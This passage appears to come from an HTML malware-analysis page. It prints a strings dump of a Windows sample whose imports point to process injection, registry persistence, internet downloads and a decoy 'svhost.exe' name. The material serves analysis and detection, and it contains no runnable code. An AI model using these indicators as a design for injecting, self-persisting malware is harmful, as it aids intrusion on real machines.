0&nbsp;&nbsp; wcscpy</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A990&nbsp;&nbsp; 000002DAA990&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; realloc</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A99A&nbsp;&nbsp; 000002DAA99A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; strtok</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A9A4&nbsp;&nbsp; 000002DAA9A4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; fclose</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A9AE&nbsp;&nbsp; 000002DAA9AE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; fwprintf</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A9BA&nbsp;&nbsp; 000002DAA9BA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; _wfopen</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A9C2&nbsp;&nbsp; 000002DAA9C2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; MSVCRT.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A9D0&nbsp;&nbsp; 000002DAA9D0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; HeapFree</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A9DC&nbsp;&nbsp; 000002DAA9DC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ExpandEnvironmentStringsW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000A9F8&nbsp;&nbsp; 000002DAA9F8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; HeapAlloc</code></span></li> <li><span style="font-size: small;"><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</span></li> <li><span style="font-size: small;"><code class="plain plain">File pos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mem pos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ID&nbsp;&nbsp; Text</code></span></li> <li><span style="font-size: small;"><code class="plain plain">========&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =======&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ==&nbsp;&nbsp; ====</code></span></li> <li><span style="font-size: small;"><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AA04&nbsp;&nbsp; 000002DAAA04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; CloseHandle</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AA12&nbsp;&nbsp; 000002DAAA12&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Process32NextW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AA24&nbsp;&nbsp; 000002DAAA24&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; DeleteFileW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AA32&nbsp;&nbsp; 000002DAAA32&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; MoveFileW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AA3E&nbsp;&nbsp; 000002DAAA3E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; SetFileAttributesW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AA54&nbsp;&nbsp; 000002DAAA54&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Sleep</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AA5C&nbsp;&nbsp; 000002DAAA5C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Process32FirstW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AA6E&nbsp;&nbsp; 000002DAAA6E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; CreateToolhelp32Snapshot</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AA8A&nbsp;&nbsp; 000002DAAA8A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; lstrlenA</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AA96&nbsp;&nbsp; 000002DAAA96&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; SetThreadPriority</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AAAA&nbsp;&nbsp; 000002DAAAAA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetLastError</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AABA&nbsp;&nbsp; 000002DAAABA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; CreateThread</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AACA&nbsp;&nbsp; 000002DAAACA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetLocaleInfoA</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AADC&nbsp;&nbsp; 000002DAAADC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; TerminateThread</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AAEE&nbsp;&nbsp; 000002DAAAEE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetModuleFileNameA</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AB04&nbsp;&nbsp; 000002DAAB04&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetModuleHandleA</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AB18&nbsp;&nbsp; 000002DAAB18&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetTimeFormatA</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AB2A&nbsp;&nbsp; 000002DAAB2A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetTimeFormatW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AB3C&nbsp;&nbsp; 000002DAAB3C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; OutputDebugStringA</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AB52&nbsp;&nbsp; 000002DAAB52&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; OutputDebugStringW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AB68&nbsp;&nbsp; 000002DAAB68&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ReleaseMutex</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AB78&nbsp;&nbsp; 000002DAAB78&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; WaitForSingleObject</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AB8E&nbsp;&nbsp; 000002DAAB8E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; WriteFile</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AB9A&nbsp;&nbsp; 000002DAAB9A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; CreateFileW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000ABA8&nbsp;&nbsp; 000002DAABA8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetTickCount</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000ABB8&nbsp;&nbsp; 000002DAABB8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; SetLastError</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000ABC8&nbsp;&nbsp; 000002DAABC8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; FindNextFileW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000ABD8&nbsp;&nbsp; 000002DAABD8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; FindNextFileA</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000ABE8&nbsp;&nbsp; 000002DAABE8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; OpenProcess</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000ABF6&nbsp;&nbsp; 000002DAABF6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetProcAddress</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AC08&nbsp;&nbsp; 000002DAAC08&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; LoadLibraryW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AC18&nbsp;&nbsp; 000002DAAC18&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetFileAttributesW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AC2E&nbsp;&nbsp; 000002DAAC2E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetVersionExA</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AC3E&nbsp;&nbsp; 000002DAAC3E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ReadFile</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AC4A&nbsp;&nbsp; 000002DAAC4A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetFileSize</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AC58&nbsp;&nbsp; 000002DAAC58&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; CreateMutexW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AC68&nbsp;&nbsp; 000002DAAC68&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; OpenMutexW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AC76&nbsp;&nbsp; 000002DAAC76&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetProcessHeap</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AC88&nbsp;&nbsp; 000002DAAC88&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; CreateRemoteThread</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AC9E&nbsp;&nbsp; 000002DAAC9E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; WriteProcessMemory</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000ACB4&nbsp;&nbsp; 000002DAACB4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; VirtualProtectEx</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000ACC8&nbsp;&nbsp; 000002DAACC8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; VirtualAllocEx</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000ACDA&nbsp;&nbsp; 000002DAACDA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ReadProcessMemory</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000ACEE&nbsp;&nbsp; 000002DAACEE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetCurrentProcess</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AD02&nbsp;&nbsp; 000002DAAD02&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; VirtualAlloc</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AD12&nbsp;&nbsp; 000002DAAD12&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetCurrentProcessId</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AD28&nbsp;&nbsp; 000002DAAD28&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; LockResource</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AD38&nbsp;&nbsp; 000002DAAD38&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; LoadResource</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AD48&nbsp;&nbsp; 000002DAAD48&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; SizeofResource</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AD5A&nbsp;&nbsp; 000002DAAD5A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; FindResourceW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AD6A&nbsp;&nbsp; 000002DAAD6A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ExitProcess</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AD78&nbsp;&nbsp; 000002DAAD78&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ExitThread</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AD86&nbsp;&nbsp; 000002DAAD86&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetDriveTypeW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AD96&nbsp;&nbsp; 000002DAAD96&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetModuleFileNameW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000ADAC&nbsp;&nbsp; 000002DAADAC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetModuleHandleW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000ADC0&nbsp;&nbsp; 000002DAADC0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; SetErrorMode</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000ADD0&nbsp;&nbsp; 000002DAADD0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; CreateProcessW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000ADE2&nbsp;&nbsp; 000002DAADE2&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; TerminateProcess</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000ADF6&nbsp;&nbsp; 000002DAADF6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; lstrlenW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AE02&nbsp;&nbsp; 000002DAAE02&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; CreateEventW</code></span></li> <li><span style="font-size: small;"><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</span></li> <li><span style="font-size: small;"><code class="plain plain">File pos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mem pos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ID&nbsp;&nbsp; Text</code></span></li> <li><span style="font-size: small;"><code class="plain plain">========&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =======&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ==&nbsp;&nbsp; ====</code></span></li> <li><span style="font-size: small;"><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AE12&nbsp;&nbsp; 000002DAAE12&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; CreateDirectoryW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AE26&nbsp;&nbsp; 000002DAAE26&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; CopyFileW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AE32&nbsp;&nbsp; 000002DAAE32&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; FindFirstFileW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AE44&nbsp;&nbsp; 000002DAAE44&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetLogicalDriveStringsW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AE5C&nbsp;&nbsp; 000002DAAE5C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; KERNEL32.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AE6A&nbsp;&nbsp; 000002DAAE6A&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; WS2_32.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AE78&nbsp;&nbsp; 000002DAAE78&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; PathAppendW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AE84&nbsp;&nbsp; 000002DAAE84&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; SHLWAPI.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AE92&nbsp;&nbsp; 000002DAAE92&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; InternetReadFile</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AEA6&nbsp;&nbsp; 000002DAAEA6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; InternetOpenUrlA</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AEBA&nbsp;&nbsp; 000002DAAEBA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; InternetCloseHandle</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AED0&nbsp;&nbsp; 000002DAAED0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; InternetOpenW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AEDE&nbsp;&nbsp; 000002DAAEDE&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; WININET.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AEEC&nbsp;&nbsp; 000002DAAEEC&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; CoCreateInstance</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AF00&nbsp;&nbsp; 000002DAAF00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; CoUninitialize</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AF12&nbsp;&nbsp; 000002DAAF12&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; CoInitialize</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AF20&nbsp;&nbsp; 000002DAAF20&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ole32.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AF2C&nbsp;&nbsp; 000002DAAF2C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetModuleFileNameExW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AF42&nbsp;&nbsp; 000002DAAF42&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; PSAPI.DLL</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AF4E&nbsp;&nbsp; 000002DAAF4E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ShellExecuteA</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AF5E&nbsp;&nbsp; 000002DAAF5E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; SHGetFolderPathW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AF70&nbsp;&nbsp; 000002DAAF70&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; SHELL32.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AF7E&nbsp;&nbsp; 000002DAAF7E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; RegCloseKey</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AF8C&nbsp;&nbsp; 000002DAAF8C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; RegDeleteValueW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AF9E&nbsp;&nbsp; 000002DAAF9E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; RegCreateKeyExW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AFB0&nbsp;&nbsp; 000002DAAFB0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; RegQueryValueExW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AFC4&nbsp;&nbsp; 000002DAAFC4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; RegOpenKeyExW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AFD4&nbsp;&nbsp; 000002DAAFD4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; RegSetValueExW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000AFE6&nbsp;&nbsp; 000002DAAFE6&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; RegNotifyChangeKeyValue</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000B000&nbsp;&nbsp; 000002DAB000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; GetUserNameW</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000B00E&nbsp;&nbsp; 000002DAB00E&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ADVAPI32.dll</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000C088&nbsp;&nbsp; 000002DAC088&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 1Al8deESCWJQjKrniRIiz5Ofdzfi1h</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000C0A7&nbsp;&nbsp; 000002DAC0A7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; A6RnRPKMb77qvsg5RiVNXdu6D9mgzE8</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000C112&nbsp;&nbsp; 000002DAC112&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; egregregerfwde</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000C121&nbsp;&nbsp; 000002DAC121&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; svhost.exe</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000C18B&nbsp;&nbsp; 000002DAC18B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; APADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADD</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D01D&nbsp;&nbsp; 000002DAD01D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 00000000D029&nbsp;&nbsp; 000002DAD029&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; "&gt;P&gt;d&gt;j&gt;</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D051&nbsp;&nbsp; 000002DAD051&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; ?#?h?</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D06B&nbsp;&nbsp; 000002DAD06B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 0=0C0g0n0{0</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D081&nbsp;&nbsp; 000002DAD081&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 0c1t1z1</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D091&nbsp;&nbsp; 000002DAD091&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 2'2.2:2?2I2\2l2q2w2|2</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D0B7&nbsp;&nbsp; 000002DAD0B7&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 3.333H3e3</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D0D1&nbsp;&nbsp; 000002DAD0D1&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 45400000000D0F3&nbsp;&nbsp; 000002DAD0F3&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 5%5Y5e5p5w5</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D129&nbsp;&nbsp; 000002DAD129&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 7n8~8</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D135&nbsp;&nbsp; 000002DAD135&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 819F9N9</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D149&nbsp;&nbsp; 000002DAD149&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; <img alt=":)" class="wp-smiley" src="http://virusindonesia.com/wp-includes/images/smilies/icon_smile.gif" /> :4:?:J:U:</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D155&nbsp;&nbsp; 000002DAD155&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; :k:y:</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D183&nbsp;&nbsp; 000002DAD183&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 4&gt;:&gt;@&gt;F&gt;L&gt;c&gt;p&gt;</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D1F0&nbsp;&nbsp; 000002DAD1F0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; -070&gt;0O0</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D1FF&nbsp;&nbsp; 000002DAD1FF&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 031:1h1</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D209&nbsp;&nbsp; 000002DAD209&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 202;2]2b2h2o2</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D21F&nbsp;&nbsp; 000002DAD21F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 3'3.3=3C3R3a3</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D237&nbsp;&nbsp; 000002DAD237&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 4)4@4i4w4~4</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D25F&nbsp;&nbsp; 000002DAD25F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 6$6-696E6J6W6]6</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D27B&nbsp;&nbsp; 000002DAD27B&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 62777G7M7S7b7n7</code></span></li> <li><span style="font-size: small;"><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</span></li> <li><span style="font-size: small;"><code class="plain plain">File pos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mem pos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ID&nbsp;&nbsp; Text</code></span></li> <li><span style="font-size: small;"><code class="plain plain">========&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =======&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ==&nbsp;&nbsp; ====</code></span></li> <li><span style="font-size: small;"><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</span></li> <li><span style="font-size: small;"><code class="plain plain">00000000D295&nbsp;&nbsp; 